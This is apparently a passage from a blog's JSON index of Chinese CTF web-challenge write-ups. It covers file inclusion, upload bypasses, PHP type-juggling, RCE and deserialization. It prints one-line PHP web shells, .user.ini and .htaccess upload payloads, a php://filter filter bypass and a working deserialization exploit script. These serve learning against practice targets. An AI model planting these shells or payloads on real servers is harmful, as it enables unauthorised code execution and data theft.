head和nl都可以，但是less不可以，也不知道为什么。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010194914.png)\n\n## 四、ez_sql\n\n这题就是简单的用sqlmap注入一下就可以拿到flag，彻彻底底的脚本小子（doge），所以这题我先不在这里写，之后我会开一个sql注入的专题，到时候再讲\n\n## 五、include 0。0\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010195101.png\" title=\"\" alt=\"\" width=\"463\">\n\n根据题目描述，显然是文件包含漏洞，打开题目，代码如下\n\n```php\n<?php\nhighlight_file(__FILE__);\n// FLAG in the flag.php\n$file = $_GET['file'];\nif(isset($file) && !preg_match('/base|rot/i',$file)){\n    @include($file);\n}else{\n    die(\"nope\");\n}\n?> nope\n```\n\n代码很少很简单，很容易分析代码，同时还告诉你了flag的位置，那我们需要的就是通过include漏洞来显示flag.php的内容。这个类型我之前也写过，但是没有写专题，之后也会写的，可以参考这篇文章[✔PHP文件包含漏洞全面总结 - Zeker62 - 博客园 (cnblogs.com)](https://www.cnblogs.com/Zeker62/p/15322771.html#php%E4%BC%AA%E5%8D%8F%E8%AE%AE)\n\n其中的php://input被禁用了，无法使用，同时题里面过滤了base和rot，反向也能推断出这里可以用php://filter来实现，通用模式如下\n\n```cmake\n?filename=php://filter/read=convert.base64-encode/resource=xxx.php\n?filename=php://filter/convert.base64-encode/resource=xxx.php\n```\n\n所以这题我们就可以用：\n\n`?file=php://filter/read=convert.base64-encode/resource=flag.php`\n\n但是base被过滤了我们怎么办，这里我是把base中的a改成url编码形式的%61，这样发现就可以绕过了并且include成功执行，输出flag的base64编码，解码一下拿到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010200417.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010200810.png)\n\n但是为什么把a变成%61就可以在include中执行？这个我确实不太了解，等题解出了我再看看\n\n## 六、游戏高手\n\n这题顾名思义就是打游戏doge，进入环境发现就是个打飞机游戏，并且提示到10万分就会给我flag![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010201026.png)\n\n没什么线索就先抓包一下看看，发现打开文件的过程中打开了一个js文件，并且里面是游戏的实现代码\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010201124.png)\n\n拜读一下代码，发现还是没什么线索，这时候没办法，直接Google\n\n关键词： ctf web js游戏，发现了能用控制台控制游戏，这就有意思了，如图\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010201246.png)\n\n哪怕我并没有死亡，但是通过读完源代码，了解了一些重要函数之后，输入gameover函数之后就会立即结束游戏，这就说明我可以通过控制台来控制我的分数，那我就直接让score=10万分，发现可以！然后直接gameover，就会出现flag\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010201456.png\" alt=\"\" width=\"647\">\n\n加上10万分（开挂了doge）然后就直接结束游戏，显示flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231010201610.png)\n\n## 七、总结\n\n以上就是这次比赛week2的全部web题了，很兴奋竟然全做出来了。具体知识点我每道题都写了。\n\n<center>**本文完**。</center>\n","tags":["ctf回顾","sql注入","反序列化","js控制台","rce","文件上传绕过"],"categories":["ctf","赛题回顾"]},{"title":"NewStarCTF 2023 week1-web题wp","url":"/2023/10/05/newstarctf/","content":"\n> 闲来无事发现了buuctf上面正在进行一个比赛，貌似是八校合办的新手赛，特地来试试手，主要是好久没碰web了有点手生了。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-45-08-image.png)\n\n## 一、Begin of Upload\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-45-40-image.png)\n\n先burp抓包一下，发现这个是在前端进行限制的上传题目，很简单了这样。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-46-37-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-47-34-image.png)\n\n之后就是直接蚁剑连接，在上层目录中找到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-48-27-image.png)\n\n## 二、泄漏的秘密\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-05-14-48-56-image.png)\n\n这个经过一顿Google，也是学到了一些知识，加上之前也做过类似的题，可以总结一下\n\n最常见的泄露问题就是出现在\n\n- robots.txt\n\n- www.zip\n\n- index.php.swp/.bak\n\n对于swp后缀就是当开发人员在线上环境中使用 vim 编辑器，在使用过程中会留下 vim 编辑器缓存，当vim异常退出时，缓存会一直留在服务器上，引起网站源码泄露。\n\n而另一个常用的就是当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露，也就是后缀bak。\n\n这题就直接先进入robots.txt目录，发现第一部分flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006163445.png)\n\n对于www.zip的原理，如下\n\n网站的文件都是放置在www 文件夹 下面的，zip是一种**压缩格式**。 也就是WWW文件夹里面的文件全部压缩在 www.zip 里面了。\n\n所以直接访问/www.zip获取全部文件，也就拿到了flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006164457.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006164509.png)\n\n拿到flag\n\n## 三、begin of http\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006164615.png\" title=\"\" alt=\"\" width=\"355\">\n\n进入之后提示如下，直接get\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006164939.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-06-16-51-57-image.png)\n\n直接看源码发现secret\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231006165238.png)\n\n解码一下是n3wst4rCTF2023g00000d，然后post就行，之后就蚌埠住辣\n\n怎么post都不会显示下一步，我放到了请求头里面没用，放在body里面也没用，服了\n\n然后看别人的题解，就是这样的，就是显示不出来，难绷，下一题\n\n这里有一个知识点，这题的后面需要在本地访问，则有三个选择\n\n- Client-ip: 127.0.0.1\n\n- X-Real-IP: 127.0.0.1\n\n- X-Forwarded-For: 127.0.0.1\n\n三个都是伪造ip的请求头。请求一下就可以通过本题\n\n## 四、ErrorFlask\n\n<img src=\"file:///C:/Users/打工人/AppData/Roaming/marktext/images/2023-10-07-20-18-04-image.png\" title=\"\" alt=\"\" width=\"386\">\n\n这题还挺有意思的，刚进去网页提示输入number1和number2，他会相加，输入完之后会有提示，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007201954.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-10-07-20-19-39-image.png)\n\n提示是ssti，Google一下发现是flask模板ssti注入，然后根据网上找的文章随便找了一个参数注入一下，发现出现下面报错\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007202115.png)\n\n这个报错是因为python无法直接将包含小数点的字符串转化为整数，就会出这个报错，我本以为止步于此了，但是突然发现这个代码可以打开，如下，加上前面提到的flag在源代码中，顺利找到flag：flag{Y0u_@re_3enset1ve_4bout_deb8g}\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007202220.png)\n\n> 这个ssti注入应该也算一个知识点，之后有时间开一个专题记录一下\n> \n> [Bugku CTF——WEB之SSTI学习笔记_bugkuctf web-CSDN博客](https://blog.csdn.net/qq_51096893/article/details/122020518)\n\n## 五、Begin of PHP\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007202315.png)\n\n又是我们熟悉的php语言，点开题目，是一个非常巨大的绕过题，如下\n\n```php\n<?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif(isset($_GET['key1']) && isset($_GET['key2'])){\n    echo \"=Level 1=<br>\";\n    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){\n        $flag1 = True;\n    }else{\n        die(\"nope,this is level 1\");\n    }\n}\n\nif($flag1){\n    echo \"=Level 2=<br>\";\n    if(isset($_POST['key3'])){\n        if(md5($_POST['key3']) === sha1($_POST['key3'])){\n            $flag2 = True;\n        }\n    }else{\n        die(\"nope,this is level 2\");\n    }\n}\n\nif($flag2){\n    echo \"=Level 3=<br>\";\n    if(isset($_GET['key4'])){\n        if(strcmp($_GET['key4'],file_get_contents(\"/flag\")) == 0){\n            $flag3 = True;\n        }else{\n            die(\"nope,this is level 3\");\n        }\n    }\n}\n\nif($flag3){\n    echo \"=Level 4=<br>\";\n    if(isset($_GET['key5'])){\n        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){\n            $flag4 = True;\n        }else{\n            die(\"nope,this is level 4\");\n        }\n    }\n}\n\nif($flag4){\n    echo \"=Level 5=<br>\";\n    extract($_POST);\n    foreach($_POST as $var){\n        if(preg_match(\"/[a-zA-Z0-9]/\",$var)){\n            die(\"nope,this is level 5\");\n        }\n    }\n    if($flag5){\n        echo file_get_contents(\"/flag\");\n    }else{\n        die(\"nope,this is level 5\");\n    }\n}\n```\n\n这个就一步一步的过关就行，看样子php的绕过问题也可以水一个专题了。\n\n看**level1**，是需要两个数不相等但是他们的哈希值一致。这里需要注意的是题中对于哈希值的对比用的是==而不是===，而对于弱比较==只会比较值而不会比较类型，这里只需要两个哈希值算出来以0e开头即可，php会把他当做0的多少次方，所以都会变成0，就实现了绕过。这里可以记一下哪些值的哈希值以0e开头，如下\n\n```cmake\n20610708:0e462097431906509019562988736854\nQLTHNDT:0e405967825401955372549139051580\nQNKCDZO:0e830400451993494058024219903391\nPJNPDWY:0e291529052894702774557631701704\nNWWKITQ:0e763082070976038347657360817689\nNOOPCJF:0e818888003657176127862245791911\nMMHUWUV:0e701732711630150438129209816536\nMAUXXQC:0e478478466848439040434801845361\n```\n\n所以key1和key2随便选上面两个数就可通过\n\n**level2**，这里需要同一个数经过两个函数计算出的值一样，这显然不可能，所以就要绕过。这里用到的知识点是对应sha1函数和md5函数，如果参数是数组的话都会返回null，这种情况下只需要key3传入数组，就可以实现null===null，实现绕过\n\n**level3**，strcmp函数是比较两个字符串是否相等，如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等，返回0。但是**strcmp只能比较字符串类型**，如果传入的数组则会报错返回0，也就是利用了这点进行绕过。只需要让key4也传入数组即可\n\n**level4**，这个更容易，我之前应该做过类似的题，先绕过第一个不是数字，并且第二个还要大于2023，则可以输入2024a，这样满足了不是数字，并且在比较的时候php会从前往后转数字，所以2024a就被转成了2024>2023，通过level4，同理1e5a也可以通过，变成10000>2023\n\n**level5**，这关需要搜索一下extract函数的作用，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007210318.png)\n\n并且还需要绕过preg_match函数，这个函数绕过原理也是一样，就是传入数组会报错返回0，这样就不会触发if语句。最主要是extract函数的参数是post整体，我看到这个有点不确定，不知道我传入的数组会是什么形态存在，抱着试试看的态度我传入了flag5[]=1，发现通过了，但是后来我测试发现flag[]=0也可通过关卡，感觉还是不明白就问了chatgpt，原理如下：并且通过测试发现if语句里面如果是一个数组，不管怎样都会通过if语句所以会通关\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007211106.png)\n\n最后的请求头和flag如下：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007211214.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007204552.png)\n\n## 六、R!C!E!\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007211357.png\" title=\"\" alt=\"\" width=\"471\">\n\n看题目就知道有远程执行漏洞，点开网页，发现如下代码\n\n```php\n<?php\nhighlight_file(__FILE__);\nif(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){\n    $password=md5($_POST['password']);\n    $code=$_POST['e_v.a.l'];\n    if(substr($password,0,6)===\"c4d038\"){\n        if(!preg_match(\"/flag|system|pass|cat|ls/i\",$code)){\n            eval($code);\n        }\n    }\n}\n```\n\n简单审计一下，发现逻辑很简单，就是需要password的哈希值的前六位等于c4d038才可以进入下一步，并且code里面不能有flag|system|pass|ls这些指令，\n\n首先先绕过第一个吧，简单写一个php函数计算一下，如下，最开始100000的范围不行，加到1000000，出现结果，好臭的数字\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20231007212259.png)\n\n所以直接password传入114514即可，紧接着就是e_v.a.l,参考[php文档]([PHP: 来自 PHP 之外的变量 - Manual](https://www.php.net/manual/zh/language.variables.external.php))，可以了解到 “ . ” 是非法字符\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240123140740.png)\n\n但是题中要求的变量名就是含有“ . ”，这里就需要利用另一个漏洞，在php版本小于8的时候，会把 “ [ ” 这个字符转换为下划线，但是会出现转换错误导致后续的非法字符不会被转换，因此我们想传入名为 “e_v.a.l”的变量，只需要传入 “e[v.a.l”的变量名即可。\n\n之后就是绕过正则表达式了，有一个简单的方法叫做参数逃逸，就是在传入的参数是另一个参数，然后通过另一个参数来执行我们想要的代码\n\n如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240123141123.png)\n\n传入的字符串为eval($_POST['a']),这样就可以将我们想要注入的代码写到a里面就可以绕过正则表达式了。\n\n## 七、EasyLogin\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240123141309.png\" title=\"\" alt=\"\" width=\"352\">\n","tags":["ctf回顾"],"categories":["ctf","赛题回顾"]},{"title":"ctf web中的文件上传绕过之.htaccess与.user.ini的应用","url":"/2023/09/07/web3/","content":"\n## 一、引入题-upload1- 修改后缀绕过前端\n\n这题就是一道非常简单的文件上传题。前几天做的时候还只是会了这一种方法，今天在做另外一道题目的时候有get到了很多新的解题姿势。先复习一下这题：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907201230.png)\n\n之前做的时候就知道是这样做的，但是却不知道为什么这样做\n\n### 原理\n\n因为抓包的时候的response就会发现部分源码，这在文件上传类型题中属于是前端检测，所以想要绕过前端检测的话就很简单，基本上就是先发一个正常的文件上去，然后在request头里面改成我们想要的格式与内容就可以了\n\n## 二、easyupload - 利用.user.ini 绕过后端\n\n这题我主要参考了这篇博客[攻防世界-web-easyupload-CSDN博客](https://blog.csdn.net/wuh2333/article/details/130038032?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-130038032-blog-127869260.235%5Ev38%5Epc_relevant_anti_vip_base&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-130038032-blog-127869260.235%5Ev38%5Epc_relevant_anti_vip_base&utm_relevant_index=1)\n\n回到easyupload这道题本身上来。进入环境\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907202350.png\" title=\"\" alt=\"\" width=\"428\">\n\n并没有提示需要上传什么样的文件\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907202507.png)\n\n然后我就在网上一顿搜索，然后各种试，发现怎么都无法成功绕过，最后没办法看的题解，发现是只要含有php就会报错。而题解给出的应对方法是php的短标签\n\n### 短标签\n\n```php\n<?=eval($_POST['a']);?>\n```\n\n但是其实这是echo的简写，也就是<?php echo的简写，如下图。其实还有另一种简写，如下图的第三个方式，但是这种方式容易被限制，本题就是被限制了，只能使用上面那种方法。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907205241.png)\n\n### 后缀加.绕过\n\n这题由于对文件名进行了限制，所以普通的在request界面改后缀为.php是无法成功传入文件的。**但是如果后缀是.php.就可以通过检测**。我猜测他的后端代码是检测第一个.后面的字符串，而win系统中会自动忽略第二个.，所以也可以实现文件上传。但是这样下来还有一个问题，就是这题只有index.php可以访问，其他的php文件均不可以访问，所以只能利用.user.ini方法了。\n\n### 大写绕过\n\n但是本题还有另一种绕过方法，经过我的测试我发现只有在文件名字上是不分大小写的限制php，而正文内容则只限制小写php，又因为php中的<?php ?>并不区分大小写，所以我们可以将一句话木马改成下面即可。\n\n```php\n<?PHP eval($_POST['ant']); ?>\n```\n\n### 文件头绕过\n\n但是绕过了对内容的检测，发送过去的时候发现还有限制，提示我们的文件类型有问题。我们已知是图片格式就行，而此时已经有了相关的请求头，没有别的估计就只差一个请求头了。这里我们加上GIF89a的文件头。很奇怪这是gif的文件头，但是我上传的类型是jpg的，也可以通过检测，但是如果加的是jpg的文件头就不行。这是一个问题。。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907205814.png)\n\n反正加上文件头之后就可以上传成功了。这时候就可以肆无忌惮的传我们的文件了。\n\n### .user.ini的利用姿势\n\n主要参考这篇讲.user.ini原理的博客[.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)\n\n原理很简单，就是说如果在文件夹下已有正常的可以打开的php文档，就可以利用.user.ini来进行getshell。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907210743.png)\n\n而这题符不符合呢？答案是非常符合。在抓包的时候我就发现了在上传文件夹下有index.php文件，天真的我以为是给的检测源码，但是打开却发现全是乱码，根本看不了，估计就是出题人故意告诉你可以用.user.ini方法的。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907210910.png)\n\n而关于为什么不用.htaccess方法，下面我会再讲。继续这题\n\n我们就可以根据之前的文件头先构建.user.ini，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907213117.png)\n\n主要代码是，使得打开其他的php文件时会自动包含02.jpg\n\n```php\nauto_prepend_file=02.jpg\n```\n\n接下来就是构造02.jpg，如下，传入一句话木马\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907213219.png)\n\n这样就可以连接蚁剑了，在上层目录中获得flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907213259.png)\n\n## 三、利用.htaccess的文件上传\n\n这个知识点我在攻防世界上并没有找到类似的题目，只能去ctfhub上开启一道简单的应用题了。如下\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907214639.png\" title=\"\" alt=\"\" width=\"542\">\n\n进入环境并且抓包，发现部分源码。发现设置了黑名单，但是没有限制.htaccess。所以我们可以利用这个来实现文件上传\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907214734.png)\n\n### 利用姿势\n\n从网上搜到的常规利用方法如下，主要就是一句话代码：\n\n```php\nAddType application/x-httpd-php .png\n```\n\n这句话的意思就是使得之后服务器中的所有png文件都以php进行解析。也就是可以把png文件当做php来用，这就很无赖了啊。\n\n这里我们也可以知道为啥上一道题不可以利用htaccess了，因为这句话代码里面含有php，会被过滤掉，所有不在考虑范围内。\n\n回到这题，根据上面的先构造.htaccess，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907215208.png)\n\n然后构造jpg文件，里面内容就是一句话木马\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907215228.png)\n\n全部上传完之后就可以蚁剑直连了！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230907215305.png)\n\n然后获取到flag\n\n本文完。\n","tags":["ctf回顾","文件上传绕过"],"categories":["ctf","技术栈：文件上传"]},{"title":"ctf web中的php反序列化与正则表达式","url":"/2023/09/06/web2/","content":"\n> 今天又做了一道php反序列化的题目，感觉又学会了很多新知识，并且意识到php反序列化的知识点比较多而杂，所以新开一篇文章记录一下，之后再做到类似的题也会继续更新。\n\n## 一、引入题：攻防世界-Web_php_unserialize\n\n我前几天也做过一道类似的题目，在我的上一篇博客中的**unserialize3**中有过简单的利用反序列化。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906201816.png\" title=\"\" alt=\"\" width=\"565\">\n\n这题主要利用了绕过wakeup函数的方法，很简单，就是将对象数量改成大于原本数量的数字就可以。之前只知道这样做题是对的，但是今天又得知了一些新的知识点。\n\n如果反序列化的时候发现字符串中的对象数量大于真实对象数量的时候，会不执行wakeup函数，而是执行__destruct()函数。今天做的题目就是利用了这个特性。\n\n## 二、Web_php_unserialize\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906202150.png\" title=\"\" alt=\"\" width=\"507\">\n\n这题点进环境就可以看见源代码\n\n```php\n<?php \nclass Demo { \n    private $file = 'index.php';\n    public function __construct($file) { \n        $this->file = $file; \n    }\n    function __destruct() { \n        echo @highlight_file($this->file, true); \n    }\n    function __wakeup() { \n        if ($this->file != 'index.php') { \n            //the secret is in the fl4g.php\n            $this->file = 'index.php'; \n        } \n    } \n}\nif (isset($_GET['var'])) { \n    $var = base64_decode($_GET['var']); \n    if (preg_match('/[oc]:\\d+:/i', $var)) { \n        die('stop hacking!'); \n    } else {\n        @unserialize($var); \n    } \n} else { \n    highlight_file(\"index.php\"); \n} \n?>\n```\n\n根据我们上面阐述的原理，只需要绕过wakeup函数并且反序列化里面的file名字为fl4g.php即可。但是需要先通过preg_match函数检测，这里用到了正则表达式，所以我又恶补了一下正则表达式的用法。\n\n本题代码的意思是在 $var 这个字符串中查找是否有以 o 或 c 开头，后面跟着一个冒号，再跟着一个或多个数字，再跟着一个冒号的**子串**。如果找到了，就返回 1，否则返回 0。/i 这个修饰符表示忽略大小写，所以 O 或 C 也可以匹配。\n\n<mark>注意是子串即可</mark>，我最开始误以为必须是以 oc 开头，经过实际测试才发现是子串。\n\n同时\\d表示的是一个数字，也就是[0,9]。\n\n<center>-----------------------✂---------------------------</center>\n\n### 正则表达式中的一些常见用法：\n\n- []表示匹配的是字符（包括数字）范围，如[oc] 匹配的是o或c，[asd]匹配的则是a s d中的任意一个，[A-Z]则匹配的是大写字母A-Z，[a-z],[0-9]同理。但是，**如果加上^则变成了取反集，也就是[^1234]匹配的是字符串中非1234的数字**。\n\n- \\d表示的是匹配一个数字，也就是[0,9]的范围，而\\w匹配的则是字符，\\s匹配的是空格。有趣的是，**\\D \\W \\S 这三个分别匹配的是非数字 非字符和非空格，相当于取反集了**\n\n- +表示的是至少出现一次，也就是匹配多次，而{n}则是匹配n次，这个问题可以看下面的几个对比图\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906203829.png\" alt=\"\" width=\"261\"><img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906203853.png\" alt=\"\" width=\"204\"><img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906203914.png\" alt=\"\" width=\"167\">\n\n由此可见匹配次数也就是说的是匹配字符串的大小\n\n- $表示匹配从字符串末尾开始，如图，从末尾开始匹配，如果加上‘+’则匹配到的是123。同理^匹配从字符串开头开始，如图，但是需要放到前面，+始终放在后面。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906204122.png\" title=\"\" alt=\"\" width=\"164\"><img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906204456.png\" title=\"\" alt=\"\" width=\"154\">\n\n上面是一些常用的正则表达式用法（好像扯远了）\n\n<center>-----------------------✂---------------------------</center>\n\n回到上面的题目，要想成功执行反序列化代码，则先需要给我们的字符串用base64加密，然后还得通过正则表达式的判断。正常的字符串输出如下\n\nO:4:\"Demo\":1:{s:10:\"Demofile\";s:8:\"fl4g.php\";}\n\n则我们可以把O:4变为O:+4,就可以通过正则表达式的判断了。之后只需要将对象数量改为2就可以了。但是下面是最坑的地方，如果你直接拿着字符串去加密然后发过去是**错误的**！！\n\n经过Google之后发现了新的知识点：**不同属性的对象序列化之后的字符格式并不一样**\n\n```html\nPrivate属性 ： 数据类型:属性名长度:\\00类名\\00属性名;数据类型:属性值长度:属性值;\nProtected属性 ： 数据类型:属性名长度:\\00*\\00属性名;数据类型:属性值长度:属性值;\nPublic属性 ： 数据类型:属性名长度:属性名;数据类型:属性值长度:属性值;\n```\n\n从上面可以看到，本题是private属性，左右两边会有一个\\00，而字符串输出的时候是复制不到这两个\\00的，而之前的那道题没有这个问题是因为那个是public属性。所以这题需要一次性输出完成才可以。我感觉或许这也是题中base64编码的原因，这样就降低了难度。\n\n所以最后的exp如下\n\n```php\n<?php\nclass Demo { \n    private $file = 'index.php';\n    public function __construct($file) { \n        $this->file = $file; \n    }\n    function __destruct() { \n        echo @highlight_file($this->file, true); \n    }\n    function __wakeup() { \n        if ($this->file != 'index.php') { \n            //the secret is in the fl4g.php\n            $this->file = 'index.php'; \n        } \n    } \n}\n$c = new Demo(\"fl4g.php\");\n$a = serialize($c);\n$a = str_replace(\"O:4\",\"O:+4\",$a);\n$a = str_replace(\":1:\",\":2:\",$a);\nprint(serialize($c));\nvar_dump(base64_encode($a));\n?>\n```\n\n将输出直接输入到题目中即可获得flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230906210306.png)\n","tags":["ctf回顾","反序列化"],"categories":["ctf","技术栈：反序列化"]},{"title":"攻防世界web引导模式 11-20题","url":"/2023/08/28/web1/","content":"\n>  先开个坑，也不知道什么时候能写完\n\n## 一、simple_js\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162340.png\" title=\"\" alt=\"\" width=\"327\">\n\n这题很简单，先用burp抓包就可以发现源码，观察源码也不知道在搞啥巴拉巴拉，放到vscode上运行一下，发现无论输入啥这个函数输出都是一样的，那么也就是这个函数其实无意义。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162413.png\" title=\"\" alt=\"\" width=\"351\">这时候就会发现下面还有一串字符，拿去python输出一下，发现是一串数字，给他转成ascii，就会出现flag\n\n```python\nprint(\"\\x35\\x35\\x2c\\x35\\x36\\x2c\\x35\\x34\\x2c\\x37\\x39\\x2c\\x31\\x31\\x35\\x2c\\x36\\x39\\x2c\\x31\\x31\\x34\\x2c\\x31\\x31\\x36\\x2c\\x31\\x30\\x37\\x2c\\x34\\x39\\x2c\\x35\\x30\")\nflag = \"55,56,54,79,115,69,114,116,107,49,50\"\nflag_1 = flag.split(\",\")\nprint(flag_1)\nflag2 = ''\nfor x in flag_1:\n     flag2 += chr(int(x))\nprint(flag2)\n\n# Cyberpeace{786OsErtk12}\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162643.png)\n\n## 二、baby_web\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162736.png\" title=\"\" alt=\"\" width=\"390\">\n\n这题很简单，先点进去发现转到了1.php的路径，并且提示我们最初的页面\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162959.png)\n\n然后用burp进入index.php，就可以发现flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903162946.png)\n\n## 三、PHP2\n\n这题刚点进去如下，迷迷糊糊用burp抓包一下，也是啥也没有。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903164036.png)\n\n没办法直接用dirb扫描目录\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903165507.png\" title=\"\" alt=\"\" width=\"472\">\n\n也是啥也没扫出来，没办法google一下，发现了有phps的后缀文件，这种文件就是专门用了存php文件的源代码的，但是只有某些特殊情况才会有（记下来）\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903165616.png\" title=\"\" alt=\"\" width=\"351\">这样就可以发现源代码了，根据源代码设计id，但是id不能等于admin。根据源代码，我们可以让id = %61dmin，这样%61就会解码为a，但是发现还是不行，后来搜索得到浏览器会自动完成一次解码，所以还需要将%61再编码为%2561，就可以通关了，得到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903170002.png)\n\n## 四、ics-06\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903170942.png\" title=\"\" alt=\"\" width=\"561\">\n\n这题如提示，进入之后只有一个可以进入\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903171019.png\" title=\"\" alt=\"\" width=\"468\">\n\n那就是报表中心，进入之后发现是日期，但是咋改都没有反应，然后放到burp里面抓包，这时候发现了后面竟然带了一个id=1？似乎有问题，然后直接拿去爆破，先设置1到3000的范围，开始爆破\n\n<img src=\"file:///C:/Users/打工人/AppData/Roaming/marktext/images/2023-09-03-17-12-35-image.png\" title=\"\" alt=\"\" width=\"460\">\n\n爆破到2333的时候发现长度明显不一样了，点进去发现flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903172712.png)\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230903172745.png\" alt=\"\" width=\"374\">\n\n## 五、php_rce\n\n<img 